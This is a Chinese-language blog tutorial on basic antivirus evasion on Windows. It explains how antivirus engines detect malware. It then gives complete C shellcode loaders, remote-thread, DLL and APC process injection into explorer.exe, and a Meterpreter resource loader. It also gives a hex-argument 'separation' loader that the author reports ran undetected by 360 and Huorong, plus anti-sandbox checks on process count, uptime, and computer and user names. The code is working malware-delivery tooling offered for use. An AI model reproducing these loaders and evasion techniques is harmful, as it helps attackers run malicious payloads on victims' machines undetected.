Windows下基礎免殺技術

SecIN發表於2022-08-01

0x01、殺軟查殺原理

1、免殺的概念

免殺,也就是反病毒(AntiVirus)與反間諜(AntiSpyware)的對立面,英文為Anti-AntiVirus(簡寫Virus AV),逐字翻譯為“反-反病毒”,翻譯為“反防毒技術”。 也就是我們常說的bypass AV

2、殺軟的分類

  1. 免費版,對所有使用者開放,例如:360安全衛士、360防毒、火絨、電腦管家等等
  2. 企業版,也是收費版,我們把他稱為EDR,對比免費版,查殺更加嚴格,特別是針對於記憶體的查殺,比如:卡巴斯基、ESET(NOD32)等等

3、殺軟檢測方式

掃描技術

  1. 掃描壓縮包技術;對壓縮檔案進行分析檢查的技術
  2. 程式防竄改防護;保護程式避免被惡意程式修改
  3. 修復技術;對惡意程式所破壞的檔案還原
  4. 智慧掃描;掃描常用磁碟,系統關鍵位置,時間短
  5. 全盤掃描;掃描電腦全盤檔案,時間長
  6. 勒索軟體防護;保護電腦不受勒索軟體的攻擊
  7. 開機掃描;電腦開機時自動掃描,可以掃描壓縮文件和不需要的程式

監控技術

  1. 記憶體監控:當發現記憶體中存在病毒的時候,就會主動報警;監控所有程式;監控讀取到記憶體中的檔案;監控讀取到記憶體的網路資料。
  2. 檔案監控:當發現寫到磁碟上的檔案中存在病毒,或者是被病毒感染,就會主動報警
  3. 郵件監控:當發現電子郵件的附件存在病毒時進行攔截。office釣魚  宏病毒 這種
  4. 網頁防護:阻止網路攻擊和不安全下載。  mshta  js指令碼
  5. 行為防護:提醒使用者可疑的應用程式行為。低危 和中

雲查殺(實質就是病毒庫由客戶端移至服務端,一般分為兩種情況,例如360)

  1. 客戶端提取特徵上傳,在雲端檢測到對應特徵所標明的是否病毒狀態,並返回
  2. 客戶端上傳特徵,在雲端無法檢測到,則上傳檔案,檔案透過殺軟系統進行評判,得出總評分,對於無結果的,進行鑑定系統評分,總共得出結果返回給使用者,併入雲端庫
  3. 雲查殺的特點基本也可以概括為特徵查殺。

4、掃描引擎

特徵碼掃描

**機制:將掃描資訊與病毒資料庫進行對比,病毒庫是一直更新的,如果資訊與其中的任何一個病毒特徵符合,防毒軟體就會判斷此檔案被病毒感染。防毒軟體在進行查殺的時候,會挑選檔案內部的一段或者幾段程式碼來作為他識別病毒的方式,這種程式碼就叫做病毒的特徵碼;在病毒樣本中,抽取特徵程式碼;抽取的程式碼比較特殊,不大可能與普通正常程式程式碼吻合;抽取的程式碼要有適當長度,一方面維持特徵程式碼的唯一性,另一方面保證病毒掃描時候不要有太大的空間與時間的開銷。

特徵碼識別:

  1. 檔案特徵碼:對付病毒在檔案中的存在方式:單一檔案特徵碼、複合檔案特徵碼(透過多處特徵進行判斷);
  2. 記憶體特徵碼:對付病毒在記憶體中的存在方式:單一記憶體特徵碼、複合記憶體特徵碼優點:速度快,配備高效能的掃描引擎;準確率相對比較高,誤殺操作相對較少;很少需要使用者參與。

檔案效驗和法

對檔案進行掃描後,可以將正常檔案的內容,計算其校驗和,將該校驗和寫入檔案中或寫入別的檔案中儲存;在檔案使用過程中,定期地或每次使用檔案前,檢查檔案現在內容算出的校驗和與原來儲存的校驗和是否一致,因而可以發現檔案是否感染病毒。

程式行為檢測(沙盒模式)VT

行為檢測透過hook關鍵api,以及對各個高危的檔案、元件做監控防止惡意程式對系統修改。只要惡意程式對登錄檔、啟動項、系統檔案等做操作就會觸發告警。最後,行為檢測也被應用到了沙箱做為動態檢測,對於避免沙箱檢測的辦法有如下幾個:

  • 延時執行,部分沙箱存在執行時間限制
  • 沙箱檢測,對諸如硬碟容量、記憶體、虛擬機器特徵做檢測
  • 部分沙箱會對檔案重新命名,可以檢測自身檔名是否被更改

主動防禦

主動防禦並不需要病毒特徵碼支援,只要防毒軟體能分析並掃描到目標程式的行為,並根據預先設定的規則,判定是否應該進行清除操作  參考360的主動防禦

0x02 常見的繞過技術

經典技術

  • 特徵碼免殺
  • 花指令免殺
  • 加殼免殺
  • 記憶體免殺
  • 分離免殺
  • 資源修改
  • 白名單免殺

1、修改特徵

一個載入器存在兩個明顯的特徵,一個是shellcode和硬編碼字串。我們需要消除這些特徵,比較方便使用一個簡單的異或加密就能消除shellcode的特徵。第二個是載入器的關聯特徵也需要消除,透過加入無意義的程式碼干擾反病毒引擎。

2、花指令免殺

花指令其實就是一段毫無意義的指令,也可以稱之為垃圾指令。花指令是否存在對程式的執行結果沒有影響,所以它存在的唯一目的就是阻止反彙編程式,或對反彙編設定障礙。

3、加殼免殺

簡單地說,軟體加殼其實也可以稱為軟體加密(或軟體壓縮),只是加密(或壓縮)的方式與目的不一樣罷了。殼就是軟體所增加的保護,並不會破壞裡面的程式結構,當我們執行這個加殼的程式時,系統首先會執行程式裡的殼,然後由殼將加密的程式逐步還原到記憶體中,最後執行程式。當我們執行這個加殼的程式時,系統首先會執行程式的“殼”,然後由殼將加密的程式逐步還原到記憶體中,最後執行程式。加殼雖然對於特徵碼繞過有非常好的效果,加密殼基本上可以把特徵碼全部掩蓋,但是缺點也非常的明顯,因為殼自己也有特徵,主流的殼如VMP, Themida等等。

4、記憶體免殺

shellcode直接載入進記憶體,避免檔案落地,可以繞過檔案掃描。但是針對記憶體的掃描還需對shellcode特徵做隱藏處理。對windows來說,新下載的檔案和從外部來的檔案,都會被windows打上標記,會被優先重點掃描。而無檔案落地可以規避這一策略。同時申請記憶體的時候採用漸進式申請,申請一塊可讀寫記憶體,再在執行改為可執行。最後,在執行時也要執行分離免殺的策略。

5、分離免殺

即ShellCode和載入器分離。各種語言實現的都很容易找到,雖然看起來比較簡單,但效果卻是不錯的。比如可以遠端讀取png中的shellcode。

6、資源修改

殺軟在檢測程式的時候會對諸如檔案的描述、版本號、建立日期作為特徵檢測,可用restorator對目標修改資原始檔。比如:加資源、替換資源、加簽名等等

7、白名單免殺

利用一些系統自帶的白程式載入payload,例如powershell、mshta等等...

0x03  什麼是shellcode?

shellcode是一小段程式碼,用於利用軟體漏洞作為有效載荷。它之所以被稱為“shellcode”,是因為它通常啟動一個命令shell,攻擊者可以從這個命令shell控制受損的計算機,但是執行類似任務的任何程式碼都可以被稱為shellcode。因為有效載荷(payload)的功能不僅限於生成shell

簡單來說:shellcode就是彙編,16進位制

例如,CS可以直接生成各種格式的shellcode

wKg0C2IuktKAPQEtAAC4pTgW4RY401.png

0x04、shellcode免殺思路

  1. shellcode 字串 加密處理   加密程式碼 解密程式碼  aes
  2. 新增無危害的程式碼執行流程擾亂殺軟分析     比如延遲執行程式碼  繞過沙箱
  3. 分離免殺

0x05  常見殺軟程式

常用命令 tasklist /SVG

國內殺軟:

360全家桶、騰訊管家、火絨安全軟體、安全狗、金山毒霸、電腦管家、瑞星等等...

國外殺軟:

卡巴斯基、AVAST、AVG、科摩多、火眼、諾頓、nod32、小紅傘等

透過檢視程式識別目標機器的殺軟型別

****360全家桶:360tray.exe、360safe.exe、360ZhuDongFangYu.exe、360sd.exe

火絨:hipstray.exe、wsctrl.exe、usysdiag.exe

安全狗:SafeDogGuarsdCenter.exe、safedogupdatecenter.exe、safedogguardcenter.exe

瑞星:rstray.exe、ravmond.exe、rsmain.exe

卡巴斯基:AVP.EXE

小紅傘:avfwsvc.exe、avgnt.exe、avguard.exe、avmailc.exe、avshadow.exe

NOD32:egui.exe、eguiProxy.exe、ekrn.exe

其他的一些殺軟的程式,我們可以參考 avList專案

https://github.com/wgetnz/avList

0x06、幾種常見的shellcode執行方式

1、指標執行

最常見的一種載入shellcode的方法,使用指標來執行函式

#include <Windows.h>
#include <stdio.h>

unsigned char buf[] =
"你的shellcode";

#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制檯程式不出黑視窗
int main()
{
  
    ((void(*)(void)) & buf)();
}

VT查殺率 26/68

wKg0C2IulCiAQnmpAAC1zPZ9YRM663.png

2、申請動態記憶體載入

申請一段動態記憶體,然後把shellcode放進去,隨後強轉為一個函式型別指標,最後呼叫這個函式

#include <Windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制檯程式不出黑視窗

int main()
{
    char shellcode[] = "你的shellcode";
    
    void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, sizeof shellcode);
    ((void(*)())exec)();
}

VT查殺率 19/68,比指標執行稍微要好一點

wKg0C2IulCAenwyAACnrYyqac716.png

3、嵌入彙編載入  x86   x64 肯定x86

#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制檯程式不出黑視窗

unsigned char shellcode[] = "你的shellcode";
void main()
{
    __asm
    {

        mov eax, offset shellcode
        jmp eax
    }
}

VT查殺率 29/67

wKg0C2IulDWAXGqVAACvX2t75g859.png

4、強制型別轉換

#include <windows.h>
#include <stdio.h>

#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制檯程式不出黑視窗

unsigned char buff[] = "你的shellcode";

void main()
{
    ((void(WINAPI*)(void)) & buff)();
}

VT查殺率 29/67

wKg0C2IulDuACSLwAACVvbvgWYo825.png

5、彙編花指令

和方法3差不多

#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制檯程式不出黑視窗

unsigned char xff[] = "你的shellcode";
void main()
{
    __asm
    {   
        mov eax, offset xff;
        _emit 0xFF;
        _emit 0xE0;
    }
}

VT查殺率 28/66

wKg0C2IulEKAIlptAACT7K0deQ162.png

以上五種是最常見的免殺方法,可見其效果不是很好。

0x07、其他一些執行shellcocd的方法

1、遠端執行緒注入

使用遠端執行緒注入,我們需要使用4個主要函式:OpenProcess, VirtualAllocEx, WriteProcessMemory,CreateRemoteThread,在MSDN中我們可以函式的具體用法

那麼我們的整體思路就是

  1. 開啟遠端程式的控制程式碼(Pid)
  2. 使用VirtualAllocEx在遠端程式中分配具有讀、寫和執行必要許可權的記憶體空間
  3. 然後使用WriteProcessMemory將shellcode寫入到記憶體緩衝區中
  4. 最後透過呼叫CreateRemoteThread來建立執行緒,其中將指向程式集存根的指標作為要執行的函式,將指向遠端shellcode的指標作為自變數

最後的demo程式碼如下:

#include "Windows.h"
#include <stdio.h>

int main(int argc, char* argv[])
{
    unsigned char shellcode[] ="你的shellcode";

    HANDLE processHandle;
    HANDLE remoteThread;
    PVOID remoteBuffer;

    printf("Injecting to PID: %i", atoi(argv[1]));
    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
    remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
    remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
    CloseHandle(processHandle);

    return 0;
}

2、經典Dll注入

經典DLL注入到遠端程式中,根據上面遠端程式注入的知識,寫出簡單的demo

#include "Windows.h"
#include <stdio.h>


int main(int argc, char* argv[]) {
    HANDLE processHandle;
    PVOID remoteBuffer;
    wchar_t dllPath[] = TEXT("你的DLL地址");

    printf("Injecting DLL to PID: %i\n", atoi(argv[1]));
    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
    remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);
    PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
    CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL);
    CloseHandle(processHandle);

    return 0;
}

3、資源載入shellcode

在解決方案中直接新增資原始檔,並對資原始檔進行一個命名,我們需要記住這個資源的名字,然後使用**FindResource**來呼叫他

載入shellcode程式碼如下:

#include "pch.h"
#include <iostream>
#include <Windows.h>
#include "resource.h"

int main()
{
    // IDR_METERPRETER_BIN1 - 資源ID 包含shellcode 
    // METERPRETER_BIN 是我們嵌入資源時選擇的資源型別名稱
    HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCE(IDR_METERPRETER_BIN1), L"METERPRETER_BIN");
    DWORD shellcodeSize = SizeofResource(NULL, shellcodeResource);
    HGLOBAL shellcodeResouceData = LoadResource(NULL, shellcodeResource);

    void *exec = VirtualAlloc(0, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcodeResouceData, shellcodeSize);
    ((void(*)())exec)();

    return  0;
}

4、APC注入

APC注入可以讓一個執行緒在它正常的執行路徑執行之前執行一些其它的程式碼,每一個執行緒都有一個附加的APC佇列,它們線上程處於可警告的時候才被處理(WaitForSingObjectEx,SleepEx)。

如果程式線上程可警告等待狀態時候排入一個APC佇列,那麼執行緒將開始執行APC函式,惡意程式碼則可以設定APC函式搶佔可警告等待狀態的執行緒。

APC有兩中存在形式:

  1. 為系統和驅動生成的APC(核心APC)
  2. 為應用程式生成的APC(使用者APC)

使用者模式

執行緒可利用QueueUserAPC排入一個讓遠端執行緒呼叫的函式,QueueUserAPC函式原型(MSDN):

DWORD QueueUserAPC(
  PAPCFUNC pfnAPC,      //指向一個使用者提供的APC函式的指標(當指定執行緒執行可告警的等待時,將呼叫指向應用程式提供的APC函式的指標)
  HANDLE   hThread,     //執行緒的控制程式碼。控制程式碼必須有THREAD_SET_CONTEXT訪問許可權
  ULONG_PTR dwData      //指定一個被傳到pfnAPC引數指向的APC函式的值

一旦獲取了執行緒ID,就可以利用其開啟控制程式碼,透過引數LoadLibraryA以及對應的引數dwData(dll名稱),LoadLibraryA就會被遠端執行緒呼叫,從而載入對應的惡意DLL。

核心模式

一種方法是在核心空間執行APC注入。惡意的驅動可建立一個APC,然後分配使用者模式程式中的一個執行緒(最常見的是svchost.exe)執行它。這種型別的APC通常由shellcode組成。

裝置驅動利用兩個主要的函式來使用APC:KeInitalizeApc和KeInsertQueueApc。

需要兩個函式來搭配使用,構造APC函式。

  • KeInitalizeApc(初始化APC結構)
  • KelnsertQueueAPC(將APC物件放入目標執行緒的APC佇列中)

KeInitalizeApc函式原型:

KeInitializeApc(Apc,
                    &Thread->Tcb, //KTHREAD
                    OriginalApcEnvironment,//這個引數包含要被注入的執行緒
                    PspQueueApcSpecialApc,
                    NULL,
                    ApcRoutine,
                    UserMode,  //**
                    NormalContext); //**

下面,我們利用APC注入來執行shellcode,那麼我們的總體思路就是

  1. 查詢explorer.exe程式ID
  2. 在explorer.exe程式的記憶體空間中分配記憶體
  3. 將shellcode下入該記憶體位置
  4. 在explorer.exe中找到所有執行緒
  5. 將APC排隊到所有這些執行緒中,APC指向shellcode
  6. 當explorer.exe中的執行緒被呼叫時,我們的shellcode將被執行

找到要注入的程式並呼叫:explorer.exe,Process32First,Process32Next

if (Process32First(snapshot, &processEntry)) {
    while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) {
        Process32Next(snapshot, &processEntry);
    }
}

找到explorer的PID後,我們需要獲取explorer.exe程式的控制程式碼並且為shellcode分配一些記憶體,該shellcode會被寫入資源管理器的程式記憶體空間,此外,宣告一個APC例程,該例程現在執行該shellcode

victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);

接著,我們開始列舉 explorer.exe的所有執行緒,並將APC指向shellcode

if (Thread32First(snapshot, &threadEntry)) {
    do {
        if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
            threadIds.push_back(threadEntry.th32ThreadID);
        }
    } while (Thread32Next(snapshot, &threadEntry));
}
  
for (DWORD threadId : threadIds) {
    threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
    QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
    Sleep(1000 * 2);
}

上面我們說到了只有執行緒處於可警告的時候才被處理,為了使APC程式碼注入能夠正常工作,排隊APC的執行緒需要處於某種狀態。

DWORD SleepEx(
  DWORD dwMilliseconds,
  BOOL  bAlertable
);

處於可警告狀態程式碼立即被執行,處於不可警告狀態,shellcode沒有得到執行。

由此我們的完整程式碼如下

#include "pch.h"
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <vector>

int main()
{
    unsigned char buf[] = "你的shellcode";

    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
    HANDLE victimProcess = NULL;
    PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
    THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
    std::vector<DWORD> threadIds;
    SIZE_T shellSize = sizeof(buf);
    HANDLE threadHandle = NULL;

    if (Process32First(snapshot, &processEntry)) {
        while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) {
            Process32Next(snapshot, &processEntry);
        }
    }
  
    victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
    LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
    WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);

    if (Thread32First(snapshot, &threadEntry)) {
        do {
            if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
                threadIds.push_back(threadEntry.th32ThreadID);
            }
        } while (Thread32Next(snapshot, &threadEntry));
    }
  
    for (DWORD threadId : threadIds) {
        threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
        QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
        Sleep(1000 * 2);
    }
  
    return 0;
}

0x08 、編寫免殺Loader

上面幾種方式的免殺效果不是特別好,因為我們沒有對shellcode進行任何處理,我們可以根據上面我們提到的shellcode免殺思路,我們對shellcode進行編碼或者分離免殺。這裡我們直接編寫一個分離免殺的載入器

分離免殺Loader編寫

我們需要對shellcode進行hex編碼,Loader透過引數的方式傳遞hex編碼的shellcode到載入器,然後還原shellcode,這裡需要注意:

比如陣列長度是892,那麼他就是由shellcode[0]到shellcode[891]構成,後面加上一個終止符,此時strlen (shellcode) = 892,sizeof (shellcode) = 893,所以計算長度的時候需要 a= (sizeof(shellcode) -1),因為每兩個位元組為一組,所以我們在分配記憶體時,需要進行除二操作,比如bytes = (sizeof(shellcode) - 1)/2  或者 bytes = strlen(shellcode)/2

還原shellcode

for(unsigned int i = 0; i< iterations-1; i++) {
        sscanf(shellcode+2*i, "%2X", &char_in_hex);
        shellcode[i] = (char)char_in_hex;
   }

載入方式

typedef void (*some_func)();
   some_func func = (some_func)exec;
   func();

對於shellcode的轉換,大家自行用python寫個小指令碼即可,或者使用K8飛刀進行轉換

wKg0C2Iul82AMRO7AAEnpkPdus8307.png

把我們的載入器,丟到裝了360和火絨的環境中,上線和執行命令均沒有任何問題

wKg0C2IunhOAWrTzAACGm8KqwE968.png

wKg0C2IunhuAP8VZAADMLSJNXBM838.png

完整程式碼如下

#include <stdio.h>
#include <Windows.h>

int main(int argc, char *argv[]) {


unsigned int char_in_hex;


char *shellcode = argv[1];
unsigned int iterations = strlen(shellcode);



unsigned int memory_allocation = strlen(shellcode) / 2; 


for (unsigned int i = 0; i< iterations - 1; i++) {
sscanf(shellcode + 2 * i, "%2X", &char_in_hex);
shellcode[i] = (char)char_in_hex;
}

void *exec = VirtualAlloc(0, memory_allocation, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
memcpy(exec, shellcode, memory_allocation);
DWORD ignore;
VirtualProtect(exec, memory_allocation, PAGE_EXECUTE, &ignore);

typedef void(*some_one)();
some_one func = (some_one)exec;
func();

return 0;
}

0x09、關於反沙箱

由於沙箱環境的資源有限,他們可能會將執行的程式數量限制到最小,這裡程式碼的意思是使用者在任何時候都至少有50個程式在執行。

DWORD runningProcessesIDs[1024];
DWORD runningProcessesCountBytes;
DWORD runningProcessesCount;
EnumProcesses(runningProcessesIDs, sizeof(runningProcessesIDs), &runningProcessesCountBytes);
runningProcessesCount = runningProcessesCountBytes / sizeof(DWORD);
if (runningProcessesCount < 50) return false;

判斷正常執行時間

ULONGLONG uptime = GetTickCount64() / 1000;
if (uptime < 1200) return false; //20 分鐘

檢測計算機名和使用者名稱,預設機器名稱都是遵循DESKTOP-[0-9A-Z]{7}(或其他具有隨機字元的類似模式),我們可以將這些名稱與已知的字串進行比較

//檢查計算機名
DWORD computerNameLength = MAX_COMPUTERNAME_LENGTH;
wchar_t computerName[MAX_COMPUTERNAME_LENGTH + 1];
GetComputerNameW(computerName, &computerNameLength);
CharUpperW(computerName);
if (wcsstr(computerName, L"DESKTOP-")) return false;

//檢查使用者名稱
DWORD userNameLength = UNLEN;
wchar_t userName[UNLEN + 1];
GetUserNameW(userName, &userNameLength);
CharUpperW(userName);
if (wcsstr(userName, L"ADMIN")) return false;


相關文章